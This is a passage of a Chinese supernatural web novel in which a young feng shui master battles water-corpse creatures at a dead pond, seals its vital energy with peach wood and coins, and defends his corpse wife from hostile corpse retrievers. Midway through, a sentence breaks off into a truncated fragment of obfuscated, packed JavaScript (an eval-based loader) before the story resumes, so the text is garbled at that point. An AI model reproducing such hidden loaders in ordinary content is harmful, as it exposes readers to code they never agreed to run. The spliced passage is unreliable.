只要我带着仕金盘,她们就不能对我怎么样。 只要堵住了气口,她们一样不能对我怎么样! “这……” 徐湘灵显然是傻眼了。 “怎么还有这么多水尸?” 水尸是水中尸体,水尸鬼则是那些精精怪怪,两者之间区别很直接。 苟驹嘴里同样骂了几句脏话,说这怎么下水? 我深呼吸,直接去捡起来地面的一圈绳子。 距离那两具尸骸太近,他们骨头上的肉都被啃了个干净,可地面泥土中渗了太多血,空气中依旧弥漫着一股血腥味。 紧接着,我将绳子一头拴在腰间,另一头则拴着那一截桃树干。 “你们在这里放风,如果水尸鬼回来了,能挡得住就挡,挡不住,就赶紧跑吧。”我哑声开口,紧了紧绳结。 “你要干什么?!”徐湘灵被吓了一跳,说:“你还要进水里堵水口?你看不见这些东西!?你疯了吗?!” 徐湘灵接连四句,都是惊疑质问。 我没吭声。 苟驹正要开口呢,我先一脚踹在了树干上。 紧跟着,我纵身朝着死水潭子里跃了下去! 噗通声中,先是树干落水,紧跟着,我重重坠入水中,朝着下方游去! 看似水尸鬼多,看似河娘子多,这地方应该森冷,可实际上却带着一股股暖意。 生气冲刷的位置,水中都蕴含着浓烈的生机。 我本来疲倦的身体,逐渐有了一丝好转。 憋足了气,我朝着水里头游。 水中的一幕,却更让我头皮发麻。 是河娘子…… 不过,并非正常的河娘子。 她们肢体横呈,居然身无片缕! 细长的铁链缠绕在身躯上,并没有所谓的旖旎,只有愈发的恐怖。 水中,还能瞧见长长的铁链延展出去,是白姝灵离开的方向! 河伯娶亲,所有河娘子,都相当于河伯的妻眷。 她们供河伯享用。 铁链则拘束了行动范围…… 至于白姝灵,她作为河魁,离开穴眼后,又有了魂魄,就很难被锁住,那铁链已经断了…… 思绪很凌乱,白姝灵有被水尸鬼玷污吗? 她衣服还是完整的,应该没有吧? 这一切都发生的极快极快,那些身无片缕的河娘子,全都朝着我游来。 我手脚并用,摆动个不停,朝着水下一直游去。 手中持着仕金盘,这形成了镇压效果,那些河娘子不敢靠近我分毫! 始终因为白姝灵吸走我身上的二五精气,导致我手脚疲倦。 我下沉到水底的速度,要比之前慢。 甚至我还有种感觉,憋的气都快不够用了。 总算,瞧见了水底的暗影,看见了一个水洞。 我心头一阵欣喜,另一手开始拉扯,要将那节桃木树干扯下来,准备去堵水口。 只不过,一阵沉甸甸的紧绷感涌来。 我……没有拽动? 不光是没有拽动桃木树干,甚至是我身体也保持着一定的深度,没有继续往下了,手脚的摆动,好似没有作用。 不对,是那根绳索仿佛成了牵引,将我固定在这个位置了? 想清楚的瞬间,我猛地扭过头去。 入目所视的一幕,却让我头皮发麻。 在我后方,居然还有个水尸鬼! 这水尸鬼的体态,要比之前的那些大得多! 倒不是臃肿,它身上的肉厚实,且健硕,它身上的毛不是那种漆黑,反而隐隐发灰,就像是人年纪大了一样。 水尸鬼不是真的鬼,是活物,是精怪! 鬼,肯定是不敢碰到桃木,就像是那群河娘子。 它却敢。 它此刻抓着桃木树干,才让我无法往下沉! 紧接着,它利齿却朝着桃木树干上一獠。 绳索,断了。 随着它松开爪子,桃木迅速往上浮。 那根绳子在水中飘荡。 冷汗蹭蹭泌出,又被冲上来的水给冲淡。 我一手保持抓着仕金盘,另一手拔出寻龙分金尺,骤然朝着斜侧靠岸的方向游去! 我哪儿知道,居然会有个水尸鬼没被引走! 按道理,它比其他水尸鬼都凶啊,更无法抵御河魁诱惑才对…… 水中传声的效率很低,那水尸鬼“嗖”的一下,朝着我窜来,那副狰狞的模样,似要啖食我血肉!将我啃得干干净净! 我毛骨悚然,逃窜的速度更快! 第127章 不行也得行 只是我就算是能快,至多比先前快那么一丝丝。 人在水里边儿,怎么都是慢的,水尸鬼却截然不同,它顷刻间就到了我面门前! 这和在水井里边儿接触那两个水尸鬼完全不一样,那两个水尸鬼只是要将我拖下水,它是进攻! 我猛地抽下寻龙分金尺。 只是,我动作还是太慢,它左右双臂快速探出,抓住我的小臂,尖锐的爪勾,深深没入皮肉! 痛感让我闷哼了一下,自然是没能发出声音,水里多了一大串的鼓泡。 那水尸鬼身体轻而易举的摆动,要将我朝着水底拽去! 我根本没有反抗的力气,这个水尸鬼在水底下的劲儿简直是宛若蛮牛,而且我稍加反抗,小臂就像是要被彻底划开似的,痛得钻心。 肺部的空气迅速在耗尽,小臂伤口冒出去的血一股一股往上蹿。 一转眼,那水尸鬼就将我拽到了死水潭子最底部。 到了这里,我才发现,潭底有许多尸体,不单单是癞疙宝的残尸,居然……还有水尸鬼。 我来过水里不止一次两次,可以肯定,先前绝对没有水尸鬼的尸体。 它们是死于那两个**的捞尸人手中? 我来不及多想其它,脑子里更多的思绪,是要怎么脱困! 忽然间,那水尸鬼松开了双臂。 束缚消失,我正要朝着上方猛蹿。 可它根本就不是要放过我的意思,双臂猛的往前一探,是要朝着我脖子上钩来! 它这么锐利的爪勾,只要给我来一下,绝对是命殒当场。 手一直没有松开过寻龙分金尺和仕金盘。 我右手猛地往回一缩,寻龙分金尺就横在脖子前,它一把抓在了寻龙分金尺上,就要用力将其扯开! 就在这电光火石之间,一道白影,自上而下,朝着这水尸鬼袭来! 上方是有月光的,通透的月光挥洒在水中,使得窜来那东西,样貌十分清晰! 赫然又是一尊水尸鬼! 不! 它毛发通体洁白,身形和眼前这水尸鬼如出一辙,甚至要略大一些。 当初没有对比,我还没有多大感觉。 现在看来,这河神老爷,是水尸鬼中最大的! 对! 现在冲来的水尸鬼,就是苟驹供养的河神老爷! 顷刻间,河神老爷冲到了那水尸鬼后方。 它陡然松开寻龙分金尺,一个旋身,迎向河神老爷! 我甚至都听见了水中的尖叫声! 唰的一下,是河神老爷爪子朝着那水尸鬼身上一勾,顿时一大片鲜血涌出。 我哪儿有功夫再留下来看戏,快速朝着上方游去! 这期间却发生了更为恐怖的一幕。 那些河娘子纷纷朝着水底沉去,看那样子是要帮水尸鬼对付河神老爷!? 哗啦一声,我窜出了水面。 大口大口的喘息着,快要被榨干的肺总算恢复了一丝。 “还能行吧小陈?!”苟驹急促的话音入耳。 这一着急,他都顾不得在徐湘灵眼前对我的称呼了。 扭头看先死水潭子岸边,我还是抑制不住喘息。 能瞧见地上点了几根香,还摆着一点儿其他物件,甚至还有一张红布,分明就是苟驹请了河神老爷留下的痕迹。 很想说没事儿。 只是,这能没事儿吗? 我手臂血淋淋的,如此狼狈,说了苟驹他们也不信。 “不行,也得行!”我哑声说完,快速朝着另一个方向游动,很快,就抓住了那节桃木树干。 隐约好像听到苟驹骂了几声脏话,什么去**。 随后就是噗通一声,居然是苟驹也跳进了死水潭子里头,他三两下游到了我身旁。 “人死鸟朝天,一群死娘们,能吓得我不敢下水?河神老爷都在底下了,下边儿有什么玩意儿,小陈你赶紧说,我们下去!” 苟驹这神态举动,明显是豁出去了。 我不知道怎么说。 苟驹冲动吗? 这事儿,远了说和他有关系,往近处看,还是只和我一个人息息相关。 他是纯纯的仗义! “一只发灰的水尸鬼没走,河神老爷在缠斗,十八个河娘子去帮那水尸鬼了,这死水潭子里头的水尸鬼,都是河伯。”我哑声解释。 “得,赶紧整吧就!” 苟驹说完,直接莾头朝着水底游去! 我随之往下游。 有苟驹在身边,自然用不上我握着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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痛感,更让嗓子眼里有一股腥甜的味道。 我只能憋住气,更死命的往下压! 可这桃木树干,居然压不住这里的生气? 计划……就这么失败了? 总不能让我一直压在这里,更不能留下来仕金盘吧!? 咕嘟咕嘟,又吐出去一大串气泡。 正当我心急如焚的时候,忽然,脑袋就一阵灵光乍现! 我快速在身上摸索,很快就摸出来一袋子铜钱! 第128章 九星对九位 当时我在小二楼下边儿的墓室中,找到了陈瞰山的一系列法器。别的东西我先前不会用,都没有带在身上。 唯有这一袋子铜钱, 因为我见当时的“老鳏夫”用过,就随身携带了! 这铜钱,非一般铜钱! 嘴巴一直咬着仕金盘,让我腮帮子都僵硬发酸。 我快速摸出来几枚铜钱,将铜钱一枚一枚的压在了树干表面。 心中更默念:“贪狼、巨门、禄存、文曲、廉贞、武曲、破军、左辅、右弼……” 天上星象,在地成形,这也是风水的一种法门。 虽说我现在这个地,是水底,但一样没有多大的区别。 按照位置排列好了九枚铜钱。 顷刻间,桃木树干稳固了!没有再被水往上冲! 被血污导致的浑浊水流,一时间,清澈了一瞬,又变得暗沉下来。 缺失了生气, 死水潭子,又要回归死水潭子的本质! 更能瞧见,那些河娘子,一个个沉入水底。 苟驹和徐湘灵本来都已经格外狼狈疲力,终于得了喘息的契机。 更能瞧见,五六米之外,一白一灰,河神老爷和水尸鬼还在搏斗。 它们身旁还有一些河娘子,明显,前一刻她们都是那水尸鬼的帮凶! 河神老爷身上都有不少细密伤口,如果不是我及时封住水底,相当于封住生气,封住了这些河娘子,鹿死谁手,还真的未知! 这时,徐湘灵朝着我游了过来。 苟驹只是看了我一眼,他骤然朝着河神老爷的方向冲去! 先前是河娘子给水尸鬼当帮手,这一下,苟驹要和河神老爷一致对敌! 位置,转过来了! 我再盯着桃木树干看了几秒钟。 徐湘灵到了我身旁,她眸子同样扫过一眼桃木树干,一把抓住我的手臂,视线和我对视,另一手指了指上方。 她这态度,俨然是问我要不要上去。 我另一手拔下来仕金盘,又指了指苟驹的方向,身体自行往上游。 我本意是让徐湘灵去给苟驹帮忙,我自己游上去没问题,可没想到,徐湘灵直接就往上游,她拉着我,速度飞快,却没有去管苟驹! 霎眼间,再度破开水面。 这里不是死水潭子中央,而是岸边了。 “快去帮忙!”我喘着粗气喊了一声。 “他死不了。”徐湘灵答了一句,愣是将我扯上了岸。 我往前跌跌撞撞几步,腿脚发软,一屁股就瘫坐在地上。呼吸更急促,脑子都一阵阵发晕,是人快到极限了。 额头上在冒汗,和身上的水混杂在一起,冷热交加,又让我冷汗阵阵。 徐湘灵看我的眼神,和此前,更有了天壤之别的变化。 我是很想喊她下去。 可稍稍仔细一想她和苟驹之间的关系,就知道……十有八九是不可能的,只是我白费唇舌。 随后,徐湘灵的视线挪到了死水潭子往外漫出的河道上。 “他得赶紧上来,我们要赶紧离开了,这断流,会让所有水尸鬼回来。” “他要是慢吞吞,就算是水尸鬼给我捞尸人一脉清理门户。”徐湘灵的声音略显得冰冷。 “你!”我胸口一阵气闷。 的确,水尸鬼是快要回来了。 除非白姝灵能拖住,或者那些捞尸人能杀的水尸鬼红眼不走。 可肯定不能寄希望在这个上面。 我撑着再度站起身来,晃晃悠悠,走到了河伯庙的位置。 盯着那和土地庙相仿的小小庙宇,我再度摸出九枚铜钱,口中喃喃:“生气、天医、祸害、六煞、五鬼、延年、绝命、伏位……” 前边的七种说辞,对应了七星。 后方的伏位,其实是两个位置,对应了左辅右弼。 这河伯庙,算是水尸鬼的藏身之地,相当于它们的阳宅。 我将九枚铜钱,埋在了庙旁九个不同的位置。 随后,我又将生气,天医,延年,这几个位置的铜钱挖了出来! 先成阵,和天上星辉对应。 再挖铜钱,就成了此地阵法不全,只留下祸害,六煞,五鬼,绝命,伏位。 这里的水尸鬼,就算是现在不死,也绝对没有好下场! “帮忙!”我看向了徐湘灵,哑声又道。 我阵法都补完了,苟驹都还没有上来。 下边儿恐怕还得生变! 徐湘灵紧皱着眉头,一动不动。 “你……” 我正要再说话。 哗啦一声,水面被破开! 探头出来的,赫然是苟驹! 他口中骂骂咧咧:“日你仙人板板的小娘皮,拍拍屁股就走人是吧?老子摁是没把你……” “苟叔,快点上来,水尸鬼要回来了!”我赶紧喊了一声,恰好就打断了苟驹的谩骂。 苟驹三两下上了岸。 “没有规矩,你也没素质,自己本事不够,还怪别人不帮忙?”徐湘灵冷冰冰的回应一句。 “诶我这暴脾气!”苟驹是气得不行。 又是哗啦一声水响,是河神老爷窜了出来,它一下子爬上苟驹的肩膀,挂在苟驹的身上,苟驹整个人都显得笨拙沉甸甸许多。 徐湘灵脸色再变,她警惕的后退数步。 河神老爷眼珠子瞄了徐湘灵一圈儿,又扭过头来,直愣愣的瞅着我。 它嘴巴微张,露出尖锐的獠牙,又似是像某种窃笑。 心怀鬼胎? 我脑子里陡然就冒出来这么个词汇。 这河神老爷,必然谋划着什么鬼心思呢。 不过,它并没有离开苟驹身上,没有靠近我。 小臂是格外疼痛的,还在淌血。 我收起杂念,朝着前方走去,大概匆匆走了三十多米,没有到哪树林子的位置,就停了下来。 随后我才回过头,看着死水潭子淌出去的那条河道。 死水潭子本身的水位早已沉降下去,那河道被中断了。 只不过下方的水还很多,真的要断流,并不是一两天的事儿? 毕竟,这和上一次拉开白姝灵尸身时不一样。 黄渠河围村,已经有很长一段时间了。 一时半会儿,远处也并没有水尸鬼回来的迹象…… “搞不好,杀红眼了。”苟驹喃喃。 “如此多捞尸人齐聚,灭掉它们一些,属实正常。”徐湘灵冷冰冰说。 “我说的可不是他们杀红眼了,他们要那么大本事,这两位至于在这儿躺着吗?只剩骨头架子了,你还嘴硬什么?小娘皮,就不知道变通?”苟驹这嘴上功夫,是当真不饶人。 徐湘灵脸色一阵白,又一阵赤红,是被气的。 第129章 不是先生所为? 苟驹的态度截然相反,他是认为,水尸鬼杀捞尸人杀的红了眼,导致它们即便是河道再度断流,都不肯返回。 碍于徐湘灵先前对苟驹的态度,我本身并不好出言说什么,只是捞尸人毕竟也是来帮忙的,如果折损在这里太多,无形之中,也是一种亏欠。 尤其是我爸和爷爷还和他们在一块儿…… “过去看看吧苟叔,以免生变。”我终究是开了口。 “行,我就过去,让河神老爷出手帮忙。”苟驹这话,就显得怡然自得。 挂在他身上的河神老爷,那丑陋的脸上,窃笑更多。 徐湘灵身体微微发抖,却没有再吭声说话。 她扭过头,朝着河道的方向疾走。 我和苟驹跟了上去,苟驹嘴里还不忘提醒徐湘灵,要同河道保持一段距离,否则等会儿万一窜出来一群水尸鬼要将她拖下去,他怕自己有心无力,误了卿卿性命。 没多大会儿,视线中就瞧见我曾读书的小学了。 那里的水位还是很高,是一条约莫十米的宽河。 水面飘着一具具水尸鬼的尸身,粗略一数少说有二三十个。 岸边内侧,捞尸人围成了一圈,我爸和爷爷在河对岸,相对来说,算是村外。 捞尸人都没事儿,这让徐湘灵大喜过望。 我爸和爷爷没事儿,更让我松了一大口气。 “围一圈儿干啥呢?水尸鬼就这点儿?不太对吧?”苟驹嘴里嘀咕着。 捞尸人没事儿,他倒是不喜不惊的,不像是徐湘灵盼着他死。 “河道深,或许我们过来的途中,水尸鬼已经从水底钻过去了,我们保持了距离没有靠近,它们就没有露面,当然,它们也是畏惧河神老爷。”我说。 苟驹的河神老爷,不一般。 还能从一些细节上看出来,他被捞尸人敌视,不光是因为组建了捞尸队,还有这河神老爷。 本身,捞尸人就是和水尸鬼有宿怨,苟驹收服了一个,能让其他人痛快和接受么? “小陈说得对,倒也是了。”苟驹再点点头。 随后,他又诧异喃喃:“可他们围着一处,干啥呢?” 徐湘灵已然匆匆朝着捞尸人方向走去。 对岸,我爸和爷爷冲着我招手,两人都喊我名字,显得高兴不已。 我同样招了招手,算作了回应。 目光再扫过河面一眼,心头却微微发沉。 白姝灵……不在这里。 作为河魁,她其实算对付水尸鬼的主力,此刻,她去哪儿了? 死水潭子被堵住气口,相当于黄渠被镇压,河娘子们全部沉寂在潭底,白姝灵一样沉在河床底部? “他娘的,这些个杂毛!”这时,苟驹忽然猛地一拍大腿。 “小陈快过去,你婆娘被他们整了!”他声音大得惊人。 我脸色陡变。 苟驹已然朝着捞尸人方向狂奔,我拔腿追了上去。 很快,就到了他们近前! 隔远了没瞧见,近了才看见,他们八人围成一圈,无一例外,手中都攥着一根麻绳。 麻绳一头,拴在一具尸身上! 那尸身,赫然是白姝灵! “日你仙人!苟霍,小陈放婆娘出来给你们帮忙!你们就是这样干事儿的!都通通滚开!”苟驹破口大骂! 我脸色一变再变! 白姝灵的尸身被五花大绑。 这些捞尸人拉拽绳索施展的力道,将她手脚都拉得笔直,脖颈的位置都套着绳索,几乎要将人五马分尸了! 捞尸人们脸色大惊,无一例外,都回头瞪着苟驹,又惊疑的看向我。 “苟驹,你胡说八道什么呢?陈先生堂堂一个风水先生,居然养阴妻,还是河魁尸?”其中一个捞尸人怒斥:“你休来说这些荒谬之言,我看,这是你河神老爷养的河娘子吧。” “哎哟,我这暴脾气。”苟驹骂了一句。 骤然间,河神老爷冲着捞尸人们一阵咆哮。 那声音有些类似于猫哈气,但是尖锐了十数倍,更像是夜猫子在尖叫。 徐湘灵骤然要挡在捞尸人前边儿,手中顿拔出卜刀,她气势汹汹。 噌的两声,是苟驹抄起两把卜刀。 河神老爷飞速蹿下他肩膀,直勾勾的盯着白姝灵,不停的舔着唇角。 河神,要夺女! 当初,这河神老爷就从我手里抢走了存着白姝灵魂魄的布人,这会儿见到白姝灵真身,哪儿还能抑制住贪婪!? “苟驹,你演都不演了!”再一个捞尸人怒斥。 “养水尸鬼当河神,背离祖训去让普通人下河捞尸,不管禁忌,无情钩你随意使用也就罢了,这会儿,你还给这水尸鬼配上了河娘子!你该死啊!” 先前,还是一致针对黄渠河水尸鬼,这些捞尸人没有翻脸,此刻,他们言辞无不例外充满了狠厉。 “徐姑娘,还请你解释,让他们放开姝灵!” 我上前一步,沉声开口。 徐湘灵是知道事情始末的,看见我放出来了白姝灵,这件事儿,得她来解释清楚。 没必要让苟驹和以前的同行翻脸更深。 而且,大家早已精疲力竭,再斗起来,就是内斗了,根本没有半点儿好处,我也怕白姝灵尸身受损! 可一时间,徐湘灵贝齿紧咬,她竟没有让开,反而话音略哑。 “河伯娶亲,让潭水底下那么多河娘子,她也是其中之一,就算你也养了她,可实质上,她也是河娘子,她还是河魁,凶煞无比,稍不注意,就为祸一方,尤其是这白水尸鬼也想要她,这会给天沧江造成大患!” “陈先生,你是风水先生,养尸养鬼,不应该是一个先生所为吧?悬崖勒马,免得铸下大错!” 徐湘灵这一句话,铿锵极了。 我:“……” “你这小娘皮,找不到男人,见了人恩爱两口子,就要拆散?我非要好好收拾收拾你不可!”苟驹陡然踏前一步,卜刀骤然朝着徐湘灵胸口插去! 说时迟,那时快,河神老爷蹿向那八个捞尸人! 霎眼间,八个捞尸人骤然松开了绳索,如临大敌一般,对向河神老爷! 他们几乎同时拔出卜刀,朝着河神老爷劈斩! “杀了这白毛水尸鬼!” “别让它下水!”厉喝声在夜空中回荡。 场面,陡然变得混乱起来。 对岸,我爸急得直跺脚,爷爷也在大声喊着什么。 我来不及管那么多啊,快步朝着白姝灵尸身跑去! 说时迟,那时快,白姝灵的尸身,居然直挺挺立了起来。 只是凄冷的月光之下,她淌下两行清泪,颤抖极了。 第130章 她却是先生之女 嫁衣如血,她脸上的绒毛更细腻如血,分外可怖! 陡然间,白姝灵一声凄厉尖叫,更划破夜空! 那种森冷感,直让我头皮发麻。 捞尸人立马停住了身形。 河神老爷尖锐的叫着,像是兴奋,又像是挑衅。 苟驹骂道:“小娘皮瞧见了吗?化血的河魁,人是没想杀了你们这群翻脸如翻书的白眼狼!” 纵然白姝灵吓到了捞尸人,我还是到了她身旁,挡在她面前! 苟驹那句话,太直接有力了。 是啊,白姝灵多凶。 捞尸人束手无策的水尸鬼群,她能游刃有余。 尤其是她还化血了。 这种凶恶的级别,比起我妈,都不遑多让。 真要动起手来,捞尸人能是对手? 无非是一个点,白姝灵不想伤及无辜。 因此,她才会在我们来之前,一动不动,只是现在诈尸而起,只是淌下眼泪,没有更多的举动。 寂静,这些个捞尸人,全都寂静无声。 场间年龄最小的,是徐湘灵,其余捞尸人,大多和苟驹相仿,甚至比他年纪更大。 都能看得出来,这细节上的问题! 汗珠,从他们的额角一滴滴渗出。 尤其是先前说白姝灵是河神老爷河娘子那一个,更是没吭声,只是忌惮无比的盯着我。 “毕竟,先前的事情是我没说清楚,就当是个误会吧,姝灵是我妻子,许多年前,黄渠河水尸鬼为虐,为了村民能活下去,她爹让村民给河伯贡河娘子,若干年后,发现河伯是水尸鬼,她爹便将姝灵投河,生气冲尸,化作河魁,对付水尸鬼。” “黄渠河,算是我捅开的篓子,此刻,篓子被堵上了,姝灵再度对付水尸鬼,也算是她本职之内。” “或许河魁在你们眼中,是很凶的水尸,可姝灵,她一样是个可怜女人,没有伤天害理,更没有杀人害命。” 我哑声开口,三言两语,就将事情解释了个清楚。 所有捞尸人都面面相觑,一下子寂静无声。 白姝灵在我背后抽噎,如泣如诉,如怨如慕,似是回想起过往,让她哀伤极了。 “听见了没小娘皮,什么养尸养鬼不是先生所为?人小陈的婆娘是怎么死的?她爹还是先生呢!” 苟驹又斥了徐湘灵一句。 这下子,徐湘灵不吭声了。 “没事了。”我转过身,轻轻擦拭了一下白姝灵的眼角。 白姝灵微微垂头,她再抽噎两声,才止住哭泣。 远处,我爸和爷爷见情况稳定,才同样镇定下来。 无形间,也就是我们刚对峙那一会儿,黄渠河的高度,又下沉了快半米, 河面收窄了一米宽了。 这里的水都是源自于生气,生气被封,也持续不了太久了。 苟驹啐了一口唾沫,嘀咕了一句:”照我看,出村吧。” 他这话是和我说的,不过他却没有朝着我靠近。 河神老爷重新爬回了他肩膀上,那眼神,依旧是垂涎欲滴。 苟驹一手在抚摸它的脖颈,似是在安抚,因此,河神老爷并没有直接冲上来。 我心头唯有的警惕,也就是对河神老爷的。 它没有乱来,这才让我松口气。 的确,苟驹的提议没错,现在该出村了。 我爸和爷爷已经在村外,黄渠的问题被解决,村内本身还有太多隐患,离开,才是上上策。 捞尸人无一例外都没吭声,徐湘灵脸颊略有赤红,她和捞尸人走在一处,一行人朝着村子后山方向走去。 苟驹不知道冲着河神老爷耳朵里嘀咕了什么,它离开苟驹身上,飞速的窜过黄渠河,朝着远处消失不见。 不过,我大概能揣测到,它应该是返回那条船上了? 随后,苟驹才靠近我一些。 我却没有立即跟上那一行捞尸人,而是看着白姝灵,眉头微微拧起。 当然,不是我对白姝灵有什么意见,白姝灵一样怔怔看着我,她有些不知所措。 白姝灵,有切切实实的尸身了。 就意味着她不是单纯的鬼,只要在尸身中,就不能随意找个存身之物,待在我身上。 天黑时这尸身还好,她算是借尸还魂,即便是自己的尸身,也是一个概念,能够走动。 可天亮之后呢? “她……只是想拿回身体,就找一条河……” “相公……我……该怎么办?” 单纯是魂魄时,白姝灵的语气是空幽的,此刻有了尸身,微凉中又带着一丝实质,涓细很多,像是清泉流响。 一时间,我还没想透彻。 苟驹搭了一句话:“这有啥难的,陈先生,你在楼里搞一个水桶,平日里将尸身养起来,晚上了不碍事儿的。” 这话语间,苟驹还给我使了个眼神,像是说你懂得。 “天亮之前,先去回水湾,不然多少有些麻烦。”我哑声开口,苟驹所言,有几分道理。 “两爷子,你们就和我们一并走,先到之前的位置去!”苟驹冲着河对岸招了招手,喊声示意。 我爸和爷爷这才保持相同的速度,和我们隔岸同行。 这会儿,白姝灵却从我身旁离开,她过了黄渠河,到了我爸和爷爷身旁。 这一下,我就看出细节了。 毕竟隔着一条河,白姝灵怕他们出事。 我顿放心了不少。 好在中途并没有发生任何意外。 只是,到了后山旁的河道处时,多数捞尸人,居然已经走了。 河中只留下了孤零零的一条船。 河边站着的,是徐湘灵。 因为河面收窄太多,船就像是横在水中的一座桥,人都能直接走过去。 苟驹看徐湘灵眼神都多了几分异样之色,像是没料到她会留下。 我们两人过了河,徐湘灵才将船往岸上拖。 她分外吃力。 “成,这小娘皮还是有点儿眼力见儿,不算太白眼狼,我帮她弄船,小陈,你带着两爷子去镇上河边儿等我?”苟驹搓了搓手,就要去帮忙。 “不必了。”徐湘灵冷冰冰回答,显得拒人于千里之外。 “诶你这人……”苟驹手在衣服上蹭了蹭,倒有些无措了。 我爸和爷爷,多少还是有些紧张。 能看出来,没有远离黄渠村,他们是无法彻底镇定的。 一时间,我没吭声,还是深深看着村子方向。 “不管瞿奶奶了吗?”白姝灵小声怯弱的问。 第131章 这么多钱,你犯法了? 白姝灵不知道瞿九娘是要将她的尸体,将她一部分魂魄,送给河神的。 或许,白姝灵就算是知道了,她一样会问出这样的话。 她内心,始终是善良居多。 就像是先前那么多捞尸人,要将她大卸八块,她一样没有诈尸伤人。 我没有立即走,同样是因为这一点。 瞿九娘和我置气,她是真的从头到尾都没有出现。 她,不离开村子吗? “棺生,如果她要出来,她会出来的。” 爷爷开了口,他语气中带着叹息,又带着一丝怅然。 “知道了,爷爷。”我点点头。 正准备带着爷爷和我爸离开。 偏偏这时,爷爷忽然砰的一声,直挺挺的跪在地上,他张大了嘴,却一下子泪流满面。 “老爷子,你跪我作甚?”苟驹被吓了一跳。 因为他恰巧在我爷爷前边儿一些。 我爷爷嘴巴不停的哆嗦,整个人都在哆嗦,他冲着对岸磕头。 是对岸,并非苟驹! 我爸愣愣的看着河对岸,苟驹反应过来,他几乎和徐湘灵一同看向河对岸。 我视线投过去时,便瞧见了两人。 一人苍老,一人中年。 中年那人,是我爷爷的父亲,我太爷爷,苍老那人,赫然是祖爷爷了! 两人远远站着,眺望着我们。 他们几乎同时抬起手臂招手。 “爹……爷爷……”颤抖的话音从爷爷口中传出,他哭了,格外悲怆,明明七老八十,却哭的像是个孩子。 我爸更懵了。 辈分上来说,这两人,又分别是他的爷爷和太爷爷。只是,我爸从没有见过他们,一时间,他不知所措。 苟驹打了个冷噤,显得万分警觉。 先前,他胳膊都差点被折断了。 “走!”我低声开口,戒备万分! 爷爷伤感,他是不知道凶险! 蟾山的女善人,阐婵,不想我离开! “走了老爷子,要不等会可走不掉了。”苟驹赶紧去搀扶我爷爷。 我爸在另一旁搀着,两人快速离开。 徐湘灵这下子也不敢拉船了,慌慌张张的跟上苟驹。 我同白姝灵稍微靠后一些,远远跟上。 离开村子很远一段距离,我那口气却依旧没有松懈。 问题,只是处理了最表象,也算是我引起的,只是黄渠河淹没村子。 实质上的问题,其实一件事儿都没解决。 像是陈梁生的窥伺,像是白蟾庙中的凶尸,还有我妈的游荡。 现在更暴露出一个点,就是就是女善人,阐婵! 老陈家是打了如意算盘,将这样的尸许配给我,可他们没有想过,一个普通人,能不能消受。 况且,我身旁已经有了一个阴妻了。 况且,那阐婵和锁龙井中的凶尸,本身就关系匪浅…… 很快,一行人就跑到了村口主路上。 夜色依旧暗沉,看了一眼时间,距离天亮还有个把小时,我们就朝着镇上的方向走。 爷爷其实挣扎着想回去,苟驹就简明扼要,说了一些关于我太爷爷的事儿,这下子,爷爷被吓得不轻,都不知道怎么开口是好。 堪堪天亮时,到了镇外那条河。 我们几人全都上了苟驹的船,徐湘灵没有上来,要往镇上走。 “你这小娘皮,搞得你苟爷苛待人一样,还不能捎你一程了?”苟驹喊了一声。 徐湘灵僵站了半晌,她没吭声作答,还是朝着镇上走了。 苟驹冲着河里吐了口唾沫,嘴里叽咕了几声,我没听清他说什么。 白姝灵上船之后,就一直待在船尾,定定站着。 船头位置是河神老爷的那箱子,还盖着红布。 苟驹开船,朝着内沧市的方向驶去。 不知觉间,天亮了。 白姝灵还是定定的站在船头,薄弱的天光下,她的脸上满是水汽。 等到了回水湾的时候,初阳刚起。 一切都十分安静,因为这里有捞尸队的关系,平日里都没有什么人来。 我背着白姝灵朝着小二楼方向走,爷爷和我爸就跟在后边儿。 苟驹没跟来,他也没进那片平房,是朝着市区的方向去了。 我没多问苟驹去干什么,这几天,他已经算是帮了大忙。 等进了小二楼,我将白姝灵的尸身立在床边,拉上了窗帘。 我爸和爷爷待在客厅里,两人就稍显的局促。 从房间里出来后,我微嘘一口气,说:爷爷,爸,二楼还有两个房间,你们就住二楼,这段时间,咱们就要待在市里了。” “欸,好。”爷爷连连点头。 “莫耽误了你学业,再半个月,得开学了吧?”我爸关心的方向不一样。 我怔住半晌。 说实话,这一段时间的经历,让我觉得读书好像和自己有着一条明显的分界线,明明从学校出来,还不到个把月呢,好似恍然若梦。 “我知道的爸,你不用担心。”我说。 “哎,咋个不用担心?家里搞成了这副鬼样子,这哈,都只能住在外头了,地没得种,寄人篱下,钱上哪儿搞?学费还……”我爸愁眉苦脸。 他说的问题,更关乎于现实。 这段时间对他的影响不少,他没有去想自己怎么样了,还是更关心我。 “爸,等会儿你和爷爷出去吧,逛一会儿,看要买什么东西,读书还有那么些日子呢,卡给你,我现在有钱。”我摸出来一张银行卡,从茶几上推到我爸面前。 “哪个能用你的钱?能买啥?不买了,有地方住就行,住两天,我得去找个工地。” 我爸想的东西不一样。 “这卡里有五十多万。”我再开口。 我爸愣住了。 爷爷脸色同样一惊。 “你犯法了!?”我爸瞪大了眼珠子。 爷爷堪堪反应过来,颤巍巍说了个好字。 “好啥啊,棺生他……”我爸急的都窜了起来,爷爷一把抓住他胳膊,哐当一下让他坐下。 “你懂个锤子!你啥都不懂,棺生出息了,棺生出息了,他捡起来我老陈家的祖业了啊!祖宗显灵,祖宗显灵了!” 爷爷更颤巍巍的,他都要高兴的哭了。 我爸一时间,却显得不知所措。 我笑了笑,让爷爷也别想那么多,先着眼于当下,安定下来。 爷爷点头,连声说好,他懂,他们不给我拖后腿。 接着他又瞪了我爸一眼,才说:“莫说读书的事儿了,棺生现在不一般!你晓得先前那几个捞尸人喊他什么不?陈先生!是陈先生!” 第132章 满门上吊! “算求了,你球经不懂。”爷爷一把拉起来我爸,说:“走,上楼去看看,看需要什么出去买,棺生给你卡,你就揣着,以前老陈家最不缺的什么?那就是钱!” 爷爷这话,都显得斗志昂扬了起来! 他硬生生拉着我爸上楼了。 我哑然失笑,摸出来手机,给我爸发了密码。 随后我进了房间,不知道为什么,明明还有一大堆事情没解决,不过整个人都心宽多了。 等听到出门的脚步声,以及关门声后,我才钻进衣柜后的地室里。 我将陈瞰山余下的法器都踹进了兜里。 临出去之前,我又冲着陈瞰山的尸身拜了拜。 至于,要不要爷爷进来这儿,我没想好。 最近的事情太繁杂,爷爷的情绪高低起伏,落差太大,一时间,再让他看陈瞰山的尸身,或许会太过于影响他情绪? 